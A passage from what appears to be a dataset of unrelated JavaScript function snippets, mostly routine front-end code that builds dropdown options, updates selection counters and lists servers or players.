selected\";\n}", "function start_new() {\r\n reset();\r\n req_len = $('#req-dots').find('option:selected').attr('value');\r\n num = $('#num-players').find('option:selected').attr('value');\r\n if (num == \"2\") { num_players = 2; }\r\n if (num == \"3\") { num_players = 3; }\r\n if (num == \"4\") { num_players = 4; }\r\n open_options();\r\n}", "function toggle_vm_control() {\n // Update selected count\n elements.vms_selected.html(_.size(server_list));\n\n if ($.isEmptyObject(server_list)) {\n vm_control_disable_all();\n //elements.tfoot.slideUp(400, vm_control_update_all);\n } else {\n vm_control_update_all();\n //elements.tfoot.slideDown(400);\n }\n }", "function update_list(){\r\n\tvar htmloutput = \"<option></option><option value='newrep'>New Response</option>\";\r\n\t\r\n\tfor(i=0; i<rep_text.length; i++){\r\n\t\tvar number = i+1;\r\n\t\thtmloutput += \"<option value='\" + number + \"'>\" + number + \"</option>\";\r\n\t}\r\n\tdocument.getElementById(\"curr_total\").innerHTML = htmloutput;\r\n}", "function initMS() {\n var dom = [];\n for (var i = 500; i <= db.maxStage; i += 500) {\n var text = 1 + i - 500 + '-' + i;\n dom.push('<option value=\"' + i + '\">' + text + '</option>');\n }\n $('#ms').html(dom.join(''));\n}", "function show_facility_type_selector(ndx) {\n\n\n serviceSelectorDim = ndx.dimension(dc.pluck('type'));\n serviceSelectorGroup = serviceSelectorDim.group()\n dc.selectMenu(\"#service_type_selector\")\n .dimension(serviceSelectorDim)\n .group(serviceSelectorGroup)\n .promptText('All Sites');\n \n}", "function lists(ev)\r\n{\r\n list = JSON.parse(httd.responseText);\r\n size = list.length;\r\n var sel;\r\n if(start ==1)\r\n {\r\n sel = document.getElementById(\"uni0\");\r\n start--;\r\n }\r\n else \r\n {\r\n var c = num;\r\n sel = document.getElementById(\"uni\"+ --c);\r\n }\r\n for(var i = 0; i<size; i++)\r\n {\r\n var opt = document.createElement(\"Option\");\r\n opt.innerText= list[i].University_name;\r\n sel.appendChild(opt);\r\n }\r\n}", "function counter() {\n if ($('.vpic.selected').length > 0)\n $('.vsend').addClass('selected');\n else\n $('.vsend').removeClass('selected');\n $('.vsend').attr('data-counter',\n $('.vpic.selected').length);\n }", "function requestServerStat() {\n\t\t\t\tvar infoContainers = $('.serverInfoContainer');\n\t\t\t\tfor(var index = 0; index< infoContainers.length; index++){\n\t\t\t\t\tvar request = new InfoRequest(infoContainers[index]);\n\t\t\t\t\trequest.request();\n\t\t\t\t\trequest.startInterval();\n\t\t\t\t}\n\t\t\t}", "function AddServerToPool(form) {\n\tvar ServerPort = form.ipaddr.value;\n\tform['servers[]'].options[form['servers[]'].options.length] = new Option(ServerPort,ServerPort);\n}", "function refreshChoicesCount() {\n $('#remNrOfChoices strong').text(maxChoices-choiceNumber);\n}", "function determineNumberOfSubsets()\n{\n var subsetstorun = 0;\n\n for (i = 1; i <= GLOBAL.NumOfSubsets; i = i + 1)\n {\n if( ! isSubsetEmpty(i) && GLOBAL.CurrentSubsetIDs[i] == null)\n {\n subsetstorun ++ ;\n }\n }\n\n STATE.QueryRequestCounter = subsetstorun;\n}", "function serverPreLoad (num, path) {\n var newNumber = num;\n var chosenPath = path;\n var newStage = $('.stage-' + newNumber);\n var stageRandoms = newStage.find('.server-random');\n stageRandoms.each(function( index ) {\n max = $(this).attr('random-max');\n randomNum = Math.floor(Math.random() * max) + 1;\n console.log(max + \" \" + randomNum);\n $(this).find('.random-option').css('display','none');\n $(this).find('.random-option[random-option=' + randomNum + ']').css('display','inline');\n });\n}", "function metricsSelected(parent){\n\t var length = 0;\n\t \n\t if(parent.find('.level.last-level a.selected') != undefined){\n\t\tvar selected = parent.parents('ul.list').find('.level.last-level a.selected');\n\t\tlength = selected.length;\n\t\tconsole.log(length);\n\t }\n\t \n\t parent.parents('ul.list').find('#addMetrics span').html(length);\n }", "function optLists(select, count){\n\t\t\tvar options = $(select).children('option');\n\t\t\tvar list = '<dl class=\"sexySelectMenu\" style=\"display:none;\" count=\"'+count+'\">';\n\t\t\toptions.each(function(){\n\t\t\t\tlist+= '<dd class=\"sexySelectOpt\" value=\"'+ $(this).val() +'\" count=\"'+count+'\">'+ $(this).text() +'</dd>';\n\t\t\t});\n\t\t\tlist += '</dl>';\n\t\t\treturn list;\n\t\t}", "function displayNumAvailConsecSlots(maxNumSlots){\r\n for(let i = 0; i < maxNumSlots; i ++){\r\n let elecTime = document.createElement(\"option\");\r\n elecTime.textContent = (i + 1);\r\n \r\n consecutiveSlots.appendChild(elecTime);\r\n }\r\n}", "function showCompareCount(){\n if(srvObj.count > 1){\n $('#compareCounter').show().text(srvObj.count);\n }else{\n $('#compareCounter').hide();\n }\n}", "function setListLength() {\n var $length = $(\"#link-list li\").length;\n $(\".list-counter\").html($length + ' Items');\n}", "function changeEngine(n){\n if(n<engines.length){\n $(\"#dropdown-btn\").html(engines[n].name);\n }\n currEngine=n;\n setDefaultEngine(n, 30);\n}", "function counter() {\n if ($('li.selected').length > 0)\n $('.send').addClass('selected');\n else\n $('.send').removeClass('selected');\n $('.send').attr('data-counter',$('li.selected').length);\n}", "function countProductsOnPage() {\n $('.displayed__localCount').html(document.querySelectorAll('.collection__item').length + ' of');\n}", "function loadDepsSelector(tx) \n{\t\n\tsql = \"SELECT department, COUNT(*) AS count FROM members GROUP BY department\";\n tx.executeSql\n (\n \tsql, \n \t\tundefined, \n\t \tfunction (tx, result)\n\t \t{\n\t \t\tfor (var i = 0; i < result.rows.length; i++) \n\t {\n\t \t\t\t$(\"#select-department\").append(\"<option value=\" + result.rows.item(i).department.replace(/\\s+/g,\"_\") \n\t \t\t\t\t\t\t\t\t\t\t\t+ \">\" + result.rows.item(i).department + \"</option>\");\n\t\t\t}\n\t\t\t$(\"#select-department\").selectmenu().selectmenu(\"refresh\"); \n\t }, \n\t dbTxError);\n\t \n\tdb.transaction(loadChargesSelector, dbTxError);\n}", "function SetStatistics(){\n\t$(\"#version\").html(\"Linux Distribution Chooser \" + Version);\n\t$(\"#info\").html(Language[\"StartText\"]);\n\t$.get( \"datalayer.php\", { task: \"GetListOfDistributions\"} )\n\t\t.done(function( data ) {\n\t\t\t\n\t\t\t$(\"#DistroList\").html(\"\");\n\t\t \tvar obj = JSON.parse(data);\n\t\t\tfor (var i = 0; i < obj.length;i++){\n\t\t\t\t$(\"#DistroList\").append(\"<li>\"+obj[i]+\"</li>\");\n\t\t\t}\n\t\t}\t\n\t);\n\t$.get( \"datalayer.php\", { task: \"GetQuestionCount\"} )\n\t\t.done(function( data ) {\t \n\t\t \tvar obj = JSON.parse(data);\n\t\t\t$(\"#amount\").html(\"\");\t\t\t\n\t\t\t$(\"#amount\").append(Language[\"AmountOfQuestions\"]);\n\t\t\t$(\"#amount\").append(obj);\n\t\t}\t\n\t);\n\t$.get( \"datalayer.php\", { task: \"GetTestCount\"} )\n\t\t.done(function( data ) {\t \n\t\t \tvar obj = JSON.parse(data);\n\t\t\t$(\"#amountOfTests\").html(\"\");\t\t\t\t\t\n\t\t\t$(\"#amountOfTests\").append(Language[\"AmountOfTests\"]);\n\t\t\t$(\"#amountOfTests\").append(obj);\n\t\t}\t\n\t);\n}", "function showMoreServers() {\n // Hide the show more link\n $(\".more-servers\").hide();\n\n // Show the servers\n $(\".hide-server\").show();\n}", "function displayServers(){\n\n\tvar div = document.getElementById('serversCardArea');\n\n\tfor(var j=0;j<clients.length;j++)\n\t{\n\t\t//add new checkbox with value client_id and text client_name\n\t\tdiv.innerHTML = div.innerHTML + \"<label><input type='checkbox' class='server_group' name='clients' value='\"+clients[j].client_id+\"'/><span>\"+clients[j].client_name+\"</span></label>\";\n\t}\n}", "function setUICount(count) {\n if (count == undefined) {count = 0;}\n $(\"#cp-count\").text(count);\n }", "function countSites(task) {\r\n if (task == 1) {\r\n const count_total = sites.concat(icon_sites).length;\r\n return count_total;\r\n }\r\n if (task == 2) {\r\n // Init GM_config to get amount of selected sites.\r\n // GM_config's fields needs to be mirrored to keep Settings intact.\r\n var config_fields = {\r\n 'aftertitle': {'type': 'hidden'},\r\n 'imdbtotalstats': {'type': 'hidden'},\r\n 'imdbselectedstats': {'type': 'hidden'},\r\n 'imdbscoutmod_header_text': {'type': 'text'},\r\n 'imdbscoutsecondbar_header_text': {'type': 'text'},\r\n 'imdbscoutthirdbar_header_text': {'type': 'text'},\r\n 'mod_icons_size': {'type': 'text'},\r\n 'iconsborder_size': {'type': 'select', 'options': ['2px', '3px', '4px', '5px', '6px']},\r\n 'cfg_iconsize': {'type': 'text'},\r\n 'timeout_ms': {'type': 'select', 'options': ['10000 ms', '20000 ms', '30000 ms', '45000 ms', '60000 ms']},\r\n 'load_icons_in_settings': {'type': 'checkbox'},\r\n 'remove_ads': {'type': 'checkbox'},\r\n 'debug_sites': {'type': 'checkbox'},\r\n 'loadmod_on_start_movie': {'type': 'checkbox'},\r\n 'load_second_bar': {'type': 'checkbox'},\r\n 'load_third_bar_movie': {'type': 'checkbox'},\r\n 'switch_bars': {'type': 'checkbox'},\r\n 'sortReqOnNewLine': {'type': 'checkbox'},\r\n 'call_http_mod_movie': {'type': 'checkbox'},\r\n 'hide_missing_movie': {'type': 'checkbox'},\r\n 'use_mod_icons_movie': {'type': 'checkbox'},\r\n 'one_line': {'type': 'checkbox'},\r\n 'ignore_type_movie': {'type': 'checkbox'},\r\n 'remove_openall': {'type': 'checkbox'},\r\n 'force_reference_view': {'type': 'checkbox'},\r\n 'dark_reference_view': {'type': 'checkbox'},\r\n 'compact_reference_view': {'type': 'checkbox'},\r\n 'greybackground_reference_view': {'type': 'checkbox'},\r\n 'highlight_sites_movie': {'type': 'text'},\r\n 'highlight_missing_movie': {'type': 'text'},\r\n 'loadmod_on_start_search': {'type': 'checkbox'},\r\n 'load_third_bar_search': {'type': 'checkbox'},\r\n 'call_http_mod_search': {'type': 'checkbox'},\r\n 'hide_missing_search': {'type': 'checkbox'},\r\n 'use_mod_icons_search': {'type': 'checkbox'},\r\n 'ignore_type_search': {'type': 'checkbox'},\r\n 'highlight_sites_search': {'type': 'text'},\r\n 'highlight_missing_search': {'type': 'text'},\r\n 'ratings_img_px': {'type': 'select', 'options': ['32px', '48px', '64px']},\r\n 'ratings_cfg_imdb': {'type': 'checkbox'},\r\n 'ratings_cfg_metacritic': {'type': 'checkbox'},\r\n 'ratings_cfg_rotten': {'type': 'checkbox'},\r\n 'ratings_cfg_letterboxd': {'type': 'checkbox'},\r\n 'ratings_cfg_douban': {'type': 'checkbox'},\r\n 'ratings_cfg_allocine': {'type': 'checkbox'},\r\n 'ratings_imdb_fem': {'type': 'checkbox'},\r\n 'ratings_cfg_color': {'type': 'checkbox'},\r\n 'ratings_cfg_color_scheme': {'type': 'text'},\r\n 'ratings_cfg_omdb_apikey': {'type': 'text'},\r\n 'radarr_searchformovie': {'type': 'checkbox'},\r\n 'radarr_monitored': {'type': 'checkbox'},\r\n 'radarr_url': {'type': 'text'},\r\n 'radarr_apikey': {'type': 'text'},\r\n 'radarr_rootfolderpath': {'type': 'text'},\r\n 'radarr_profileid': {'type': 'select', 'options': ['Any', 'HD - 720p/1080p', 'HD-1080p', 'HD-720p', 'SD', 'Ultra-HD', 'Custom']},\r\n 'radarr_customprofileid': {'type': 'text'},\r\n 'radarr_minimumavailability': {'type': 'select', 'options': ['announced', 'inCinemas', 'released', 'preDB']},\r\n 'sonarr_searchformissing': {'type': 'checkbox'},\r\n 'sonarr_searchforcutoff': {'type': 'checkbox'},\r\n 'sonarr_ignoreEpisodesWithFiles': {'type': 'checkbox'},\r\n 'sonarr_ignoreEpisodesWithoutFiles': {'type': 'checkbox'},\r\n 'sonarr_seasonfolder': {'type': 'checkbox'},\r\n 'sonarr_usescenenumbering': {'type': 'select', 'options': ['Auto', 'No', 'Yes']},\r\n 'sonarr_monitored': {'type': 'select', 'options': ['All Episodes', 'Future Episodes', 'Missing Episodes', 'Existing Episodes', 'Pilot Episode', 'Only First Season', 'Only Latest Season', 'None']},\r\n 'sonarr_url': {'type': 'text'},\r\n 'sonarr_apikey': {'type': 'text'},\r\n 'sonarr_rootfolderpath': {'type': 'text'},\r\n 'sonarr_profileid': {'type': 'select', 'options': ['Any', 'HD - 720p/1080p', 'HD-1080p', 'HD-720p', 'SD', 'Ultra-HD', 'Custom']},\r\n 'sonarr_customprofileid': {'type': 'text'},\r\n 'sonarr_languageprofileid': {'type': 'text'},\r\n 'sonarr_seriestype': {'type': 'select', 'options': ['standard', 'daily', 'anime']},\r\n 'trakt_synclimiter': {'type': 'select', 'options': ['15', '30', '60', '300']},\r\n 'plex_server_url': {'type': 'text'},\r\n 'plex_token': {'type': 'text'},\r\n 'jellyfin_server_url': {'type': 'text'},\r\n 'jellyfin_username': {'type': 'text'},\r\n 'jellyfin_password': {'type': 'text'},\r\n 'jellyfin_debug': {'type': 'checkbox'},\r\n 'emby_server_url': {'type': 'text'},\r\n 'emby_username': {'type': 'text'},\r\n 'emby_password': {'type': 'text'},\r\n 'emby_debug': {'type': 'checkbox'},\r\n 'milkie_authToken': {'type': 'text'},\r\n 'tnt_authToken': {'type': 'text'}\r\n };\r\n $.each(custom_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(public_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(private_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(german_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(usenet_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(subs_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(pre_databases, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(other_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(streaming_sites, function(index, site) {config_fields[configName(site)] = {'type': 'checkbox'};});\r\n $.each(icon_sites_main, function(index, icon_site) {config_fields['show_icon_' + icon_site['name']] = {'type': 'checkbox'};});\r\n $.each(special_buttons, function(index, icon_site) {config_fields['show_icon_' + icon_site['name']] = {'type': 'checkbox'};});\r\n\r\n GM_config.init({'id': 'imdb_scout', 'fields': config_fields});\r\n\r\n $.each(sites, function(index, site) {\r\n site['show'] = GM_config.get(configName(site));\r\n });\r\n $.each(icon_sites, function(index, icon_site) {\r\n icon_site['show'] = GM_config.get('show_icon_' + icon_site['name']);\r\n });\r\n\r\n const count_selected = sites.concat(icon_sites).reduce(function (n, site) {\r\n return n + (site['show'] == true); }, 0);\r\n\r\n return count_selected;\r\n }\r\n}", "function retreiveTotalUsers () {\n\t\t//Vars\n\t\tlet serverID = client.guilds.get(message.guild.id);\n\n\t\t//Number of Users in a Server\n\t\treturn serverID.members.size;\n\t}", "function serverInfoPreLoad (num, path) {\n var newNumber = num;\n var chosenPath = path;\n var newStage = $('.stage-' + newNumber);\n var stageLoadInfos = newStage.find('.server-load-info');\n stageLoadInfos.each(function( index ) {\n var reqPlace = $(this).attr('req-place');\n var specificPath = userPath[reqPlace];\n $(this).find('.info-option').css('display','none');\n $(this).find('.info-option[server-choice=' + specificPath + ']').css('display','inline');\n });\n}", "function setRunningProcessInstances() {\n\t$.ajax({\n type: 'GET',\n url: JODA_ENGINE_ADRESS + '/api/navigator/status/running-instances',\n success: function(data) {\n \tnumberOfRunningInstances = data.length;\n },\n dataType: \"json\"\n });\n}", "function setupStatusDropDown() {\n document.getElementById('ddStatus').addEventListener(\"change\", function() {\n var selectedStatus = this.options[this.selectedIndex].value;\n communicator.limitStatus = selectedStatus\n if (selectedStatus === 'ALL')\n communicator.limitStatus = ''\n \n tasks_getAndDisplay()\n });\n}", "async function chooseServer()\n{\n\tlet txt = \"Listes des serveurs : \"\n\tlet choice = []\n\tlet promises = []\n\n\tawait client.guilds.forEach((data) =>\n\t{\n\t\tpromises.push(isAdmin(loggedAccount, data))\n\t})\n\n\tawait Promise.all(promises).then((data) =>\n\t{\n\t\tdata.forEach((myChoice) =>\n\t\t{\n\t\t\tif (myChoice != null)\n\t\t\t{\n\t\t\t\tchoice.push(myChoice)\n\t\t\t}\n\t\t})\n\t}).catch((e) =>\n\t{\n\t\tconsole.log(e)\n\t})\n\n\tif (choice.length == 0)\n\t{\n\t\tconsole.log(\"Il n'y a aucun serveur ou vous possèdez les droits suffisants pour effectuer les actions proposé\")\n\t\tendProcess()\n\t}\n\telse\n\t{\n\t\tlet data = await ask([\n\t\t{\n\t\t\ttype: \"list\",\n\t\t\tmessage: txt,\n\t\t\tname: \"selectServer\",\n\t\t\tchoices: choice\n\t\t}])\n\t\tobjActualServer.server = await data.selectServer\n\t\tchooseWhatToHandle(data.selectServer)\n\t}\n}", "function _fnFeatureHtmlLength ( oSettings )\n\t\t{\n\t\t\t/* This can be overruled by not using the _MENU_ var/macro in the language variable */\n\t\t\tvar sName = (oSettings.sTableId === \"\") ? \"\" : 'name=\"'+oSettings.sTableId+'_length\"';\n\t\t\tvar sStdMenu = \n\t\t\t\t'<select size=\"1\" '+sName+'>'+\n\t\t\t\t\t'<option value=\"10\">10</option>'+\n\t\t\t\t\t'<option value=\"25\">25</option>'+\n\t\t\t\t\t'<option value=\"50\">50</option>'+\n\t\t\t\t\t'<option value=\"100\">100</option>'+\n\t\t\t\t'</select>';\n\t\t\t\n\t\t\tvar nLength = document.createElement( 'div' );\n\t\t\tif ( oSettings.sTableId !== '' )\n\t\t\t{\n\t\t\t\tnLength.setAttribute( 'id', oSettings.sTableId+'_length' );\n\t\t\t}\n\t\t\tnLength.className = \"dataTables_length\";\n\t\t\tnLength.innerHTML = oSettings.oLanguage.sLengthMenu.replace( '_MENU_', sStdMenu );\n\t\t\t\n\t\t\t/*\n\t\t\t * Set the length to the current display length - thanks to Andrea Pavlovic for this fix,\n\t\t\t * and Stefan Skopnik for fixing the fix!\n\t\t\t */\n\t\t\t$('select option[value=\"'+oSettings._iDisplayLength+'\"]',nLength).attr(\"selected\",true);\n\t\t\t\n\t\t\t$('select', nLength).change( function(e) {\n\t\t\t\toSettings._iDisplayLength = parseInt($(this).val(), 10);\n\t\t\t\t\n\t\t\t\t_fnCalculateEnd( oSettings );\n\t\t\t\t\n\t\t\t\t/* If we have space to show extra rows (backing up from the end point - then do so */\n\t\t\t\tif ( oSettings._iDisplayEnd == oSettings.aiDisplay.length )\n\t\t\t\t{\n\t\t\t\t\toSettings._iDisplayStart = oSettings._iDisplayEnd - oSettings._iDisplayLength;\n\t\t\t\t\tif ( oSettings._iDisplayStart < 0 )\n\t\t\t\t\t{\n\t\t\t\t\t\toSettings._iDisplayStart = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( oSettings._iDisplayLength == -1 )\n\t\t\t\t{\n\t\t\t\t\toSettings._iDisplayStart = 0;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t_fnDraw( oSettings );\n\t\t\t} );\n\t\t\t\n\t\t\treturn nLength;\n\t\t}", "dropDownRanks(selected) {\n const addRank = (rankNumber) => {\n const option = document.createElement(\"option\");\n const rankString = rankNumber.toString();\n option.text = rankString;\n option.value = rankString;\n option.selected = selected === rankNumber;\n this.topNRanksElement.add(option);\n };\n Utilities.emptyElement(this.topNRanksElement);\n for (let i = 1; i <= this.highestNumberOfRanks; i++) {\n addRank(i);\n }\n }", "function setCounts() {\n pending.innerText = pendingJobs.length;\n completed.innerText = completedJobs.length;\n total.innerText = allJobs.length;\n}", "function updateSelectOptions(){\n\tbrowser.storage.local.get(\"IPs\")\n\t.then(function(elem){\n\t\tif(!isEmpty(elem)){\n\n\t\t\tvar l = elem[\"IPs\"];\n\t\t\tvar select_options = \"<option value='0'>select</option>\";\n\t\t\tvar n = l.length;\n\t\t\tfor(var i = 0; i<n; i++){\n\t\t\t\tselect_options += \"<option value='\" + i+1 + \"'>\"+l[i]+\"</option>\";\n\t\t\t}\n\t\t\tsel.innerHTML = select_options;\n\t\t}\n\t});\n\n}", "function updateCountOfEmployees() {\n $(\"employeeCount\").innerHTML = employee_list.length;\n}", "function drawPlayerCount() {\n\tlet players = Object.keys(Player.list).length\n\tlet plural = Object.keys(Player.list).length == 1 ? '' : 's';\n\tdrawText({\n\t\ttext: `${Object.keys(Player.list).length} player${plural} on this server`,\n\t\tx: width - 190,\n\t\ty: height - 50,\n\t\tfont: 'bold 30px Ubuntu'\n\t});\n}", "function updateCount() {\n\t \tselected = $('.report input[type^=\"checkbox\"]:checked').length;\n\t \tselectedNode.text(selected);\n\t \tconsole.log(selected);\n\t }", "function countShowing (dropList) {\r\n\tlet dropListItems = dropList.children;\r\n\tlet n = 0;\r\n\tfor (var i = 0; i < dropListItems.length; i++) {\r\n\t\tif (dropListItems[i].classList.contains(\"show\")) {\r\n\t\t\tn++;\r\n\t\t}\r\n\t}\r\n\treturn n;\r\n}", "function setupMultipleReservations(copiesAvailable) {\n var base = \"\";\n for (var i = 0; i < copiesAvailable; i++) {\n base += \"<option>\"+(i+1)+\"</option>\"\n }\n $('.number-of-books-available-to-reserve').html(base);\n\n $('.multi-reservation-successful').hide();\n}", "function get_seats_num(conf) {\n\tvar seats_num = 5;\n\tif (global.has_rule(conf.rule_index, global.MAX_PLAYER_8)) {\n\t\tseats_num = 8;\n\t}\n\tif (global.has_rule(conf.rule_index, global.MAX_PLAYER_5)) {\n\t\tseats_num = 5;\n\t}\n\tif (global.has_rule(conf.rule_index, global.UNLIMITED)) {\n\t\tconsole.log('chose unlimited seats.')\n\t}\n\treturn seats_num;\n}", "function updateSelectCount() {\n const selectedSeats = document.querySelectorAll(\".row .seat.selected\");\n const seatsIndex = [...selectedSeats].map(function (seat) {\n return [...seats].indexOf(seat);\n });\n localStorage.setItem(\"selectedSeats\", JSON.stringify(seatsIndex));\n // this line below is unnecessary, cause we can put populateUI function before let ticketPrice\n // let ticketPrice = localStorage.getItem(\"selectedMoviePrice\");\n const selectedSeatsCount = selectedSeats.length;\n count.innerText = selectedSeatsCount;\n total.innerText = selectedSeatsCount * ticketPrice;\n}", "function count() {\n\t\t$.ajax({\n\t\ttype: \"POST\",\n\t\turl: \"http://junting6.arts244.courses.bengrosser.com/admin/count.php\", //同目录下的php文件\n\t\tdata: \"info=\" + \"1\", // 等号前后不要加空格\n\t\tsuccess: function(msg) { //请求成功后的回调函数\n\n\t\t\t$(\"#count\").html(\"total visits:\" + msg);\n\n\t\t}\n\t})\n}", "function gotList(thelist) {\n \n println(\"List of Serial Ports:\");\n\n\n menu = createSelect();\n var title = createElement('option', 'Choose a port:');\n menu.child(title);\n menu.position(windowWidth/2, windowHeight-50);\n menu.changed(openPort);\n\n for (var i = 0; i < thelist.length; i++) {\n var thisOption = createElement('option', thelist[i]);\n thisOption.value = thelist[i];\n menu.child(thisOption);\n println(i + \" \" + thelist[i]);\n }\n}", "function changeHostName(type){\n\tvar Hn = $(\"#PMhostname option:selected\").index();\n\tvar ip = $(\"#PMip option:selected\").index();\n\tif (type == 'host'){\n\t\t$(\"select#PMip\").prop('selectedIndex', Hn);\n\t}else{\n\t\t$(\"select#PMhostname\").prop('selectedIndex', ip);\n\t}\n}", "function ShowConnections()\r\n{\r\n\tvar clients = serv.GetWebSockClients();\r\n\t\r\n\tif( clients.length > 0 )\r\n\t{\r\n \t//Make a list of clients.\r\n \tvar list = \"\";\r\n \tfor( var i=0; i<clients.length; i++ )\r\n \t list += clients[i].remoteAddress + \"\\n\";\r\n \t \r\n \t//Show client list.\r\n \ttxt.SetText( list );\r\n\t}\r\n}", "function generatePages()\n{\n const pageItems = 25\n let pages = Math.ceil(list.length / pageItems)\n let select = document.getElementById(\"pageNum\")\n\n for (let i = 1; i <= pages; i++)\n {\n let option = document.createElement(\"OPTION\")\n option.value = i - 1\n option.innerHTML = i\n select.append(option)\n }\n}", "onNumberOfPagesSelected () {\n\t\tthis.shadowRoot.getElementById('numberOfPages').addEventListener(\n\t\t\t'input', \n\t\t\t(e) => this.displayMiniPageForm(e.target.value)\n\t\t);\n\t}", "function changeSize() {\n var select = document.getElementById(\"sizeList\");\n var size = select.value;\n return size;\n } // end function", "function displayServer(info) {\n\tvar server = addElement(document.body,\"DIV\", {className:\"server\"})\n\taddElement(server, \"IMG\", {src: info.icon, width: 96, className: \"icon\"});\n\taddElement(server, \"BR\", {});\n\taddElement(server, \"B\", {textContent: info.name, className: \"name\"});\n\n\tvar sub = addElement(server, \"DIV\", {className: \"info\"});\n\taddElement(sub, \"DIV\", {className: \"circle on\"});\n\taddElement(sub, \"TEXT\", {textContent: \" \" + info.active + \" Online\"});\n\taddElement(sub, \"DIV\", {className: \"circle\"});\n\taddElement(sub, \"DIV\", {className: \"circle off\"});\n\taddElement(sub, \"TEXT\", {textContent: \" \" + info.count + \" Members\"});\n\taddElement(sub, \"P\", {});\n\n\tvar invite = addElement(sub, \"a\", {href:\"https://discord.gg/\" + info.invite});\n\taddElement(invite, \"DIV\", {className:\"join\",textContent:\"Join\"});\n\n\tvar notes = addElement(sub, \"DIV\", {className: \"notes\"});\n\taddElement(notes, \"B\", {textContent: \"Category: \"});\n\taddElement(notes, \"TEXT\", {textContent: info.type.join(\", \")});\n\taddElement(notes, \"BR\", {});\n\tif(info.notes) {\n\t\tvar note = addElement(notes, \"B\", {\n\t\t\ttextContent: (info.warn) ? \"Warning: \":\"Notes: \"\n\t\t});\n\t\tvar text = addElement(notes, \"FONT\", {textContent: info.notes});\n\t\tif(info.warn) {\n\t\t\tnote.style.color = text.style.color = '#f44336';\n\t\t}\n\t\taddElement(notes, \"BR\", {});\n\t}\n\n\tdocument.querySelector(\"#list\").appendChild(server);\n}", "function update_program_cart_count()\n{\n jQuery('.oc_my_program_cart_btn_count').toggleClass('green-flash');\n setTimeout(function(){\n jQuery('.oc_my_program_cart_btn_count').text(selected_nodes.length);\n jQuery('.oc_my_program_cart_btn_count').toggleClass('green-flash');\n },700);\n \n}", "function updateNumberOfTasks() {\n $('#number-remaining span').text($('#task-list li').length);\n $('#number-completed span').text($('#tasks-completed li').length);\n}", "function initialDisplay() {\n \tcountLinks();\n \tgetDropDowns();\n \tgetList(\"id\");\n }", "function updateNumberOfChosenProducts() {\n makeRequest(\"GET\", \"/cart\", {}, function(responseText) {\n let productNumberIndicator = document.getElementById(\"number-of-chosen-products\");\n let shoppingCart = JSON.parse(responseText);\n productNumberIndicator.innerText = shoppingCart.length;\n })\n}", "function updateMenuCount() {\n var menu_arr = [];\n $('#page_plugin_menu_item_list ul.item-list li').each(function () {\n var menu_status_id = $(this).attr('data-statusid');\n if (menu_status_id !== '' && menu_status_id !== undefined) {\n if ($.inArray(menu_status_id, menu_arr) == -1) {\n menu_arr.push(menu_status_id);\n }\n }\n });\n if (menu_arr.length) {\n var is_operation_list = false;\n var deal_node_instance_id = '';\n if ($('#id_listing_operation').html().length > 0) {\n is_operation_list = true;\n deal_node_instance_id = $('#id_listing_body').find('div.active-tr').data('id')\n }\n deal_node_id = $(\"#content_wraper #id_listing_body .customScroll div.active-tr\").attr('data-node-id');\n var dataParams = getAjaxParams({\n 'action': 'menu_count',\n 'node_class_property_id': menu_arr,\n 'class_node_id': class_node_id,\n is_operation_list: is_operation_list,\n 'deal_node_instance_id': deal_node_instance_id,\n 'list_mapping_id_array': list_mapping_id_array,\n 'login_user_id': login_user_id,\n 'roleId': login_role_id,\n 'data-node-id': deal_node_id\n });\n require(['page_module'], function (PageModule) {\n PageModule.ajaxPromise({requestType: 'POST', dataType: 'JSON'}, dataParams).then(responseMenuCount);\n });\n // $.post(base_plugin_url + 'code.php', dataParams, responseMenuCount, 'JSON');\n }\n }", "function displayMinor() {\n\t\tvar ul = document.getElementById('selectable');\n\t\tvar list = ul.getElementsByClassName('ui-state-default');\n\t\t\t\t\t\t\t\t\n\t\t$.getJSON(\"https://people.rit.edu/~sarics/web_proxy.php?path=minors\")\n\t\t.done(function(data)\n\t\t\n\t\t{\n\t\t$.each(data,function(index,value){\n\t\t\tlist[index].innerHTML=value.title;\t\t\t\t\n\t\t})\n\t\t})\n\t\t\n\t\t.fail(function () {\n alert('biffed');\n });\n\t}", "function ajaxCount() {\n if($('.ajax-filter-count').length) {\n var count = $('.ajax-filter-count').data('count')\n $(ajaxCountSelector).text(count)\n } else {\n $(ajaxCountSelector).text($(ajaxItemSelector).length)\n }\n }", "function displayTasksServer(data) {\n\t\t//this needs to be bound to the tasksController -- used bind in retrieveTasksServer 111917kl\n\t\ttasksController.loadServerTasks(data);\n\t}", "function selectMode(e){\n\t\t\t\tpartySize = 3;\n\t\t\t\tmode = $(\".mode-select option:selected\").val();\n\n \t\t\t\tif(mode == \"tournament\"){\n\t\t\t\t\tpartySize = 6;\n\t\t\t\t}\n\n\t\t\t\tfor(var i = 0; i < multiSelectors.length; i++){\n\t\t\t\t\tmultiSelectors[i].setMaxPokemonCount(partySize);\n\t\t\t\t}\n\t\t\t}", "function selCount(obj) {\n var selected = $.fn.multicheck.selcount(obj);\n if ( selected < opts['minlen']) {\n if (opts['messages']['multicheck']) {\n errors.push (opts['messages']['multicheck']);\n } else {\n errors.push (opts['title'] + ' must select ' + opts['minlen'] + ' to ' + opts['maxlen'] + ' items');\n }\n }\n }", "function updateSelectedCount(){\n const selectedSeats=document.querySelectorAll('.row .seat.selected');\n const selectedSeatscount=selectedSeats.length;\n count.innerText=selectedSeatscount;\n total.innerText=selectedSeatscount*ticketPrice;\n\n }", "function generateSizeOptions(selectedSize) {\r\n\tvar maxSize = 100;\r\n\t\r\n\tvar options = \"\";\r\n\t\r\n\tfor(var i = 10; i <= maxSize; i += 2) {\r\n\t\tvar selected = \"\";\r\n\t\tif(selectedSize == i) {\r\n\t\t\tselected = \" selected \";\r\n\t\t}\r\n\t\t\r\n\t\toptions += \"<option\" + selected + \" value=\\\"\" + i + \"\\\">\" + i + 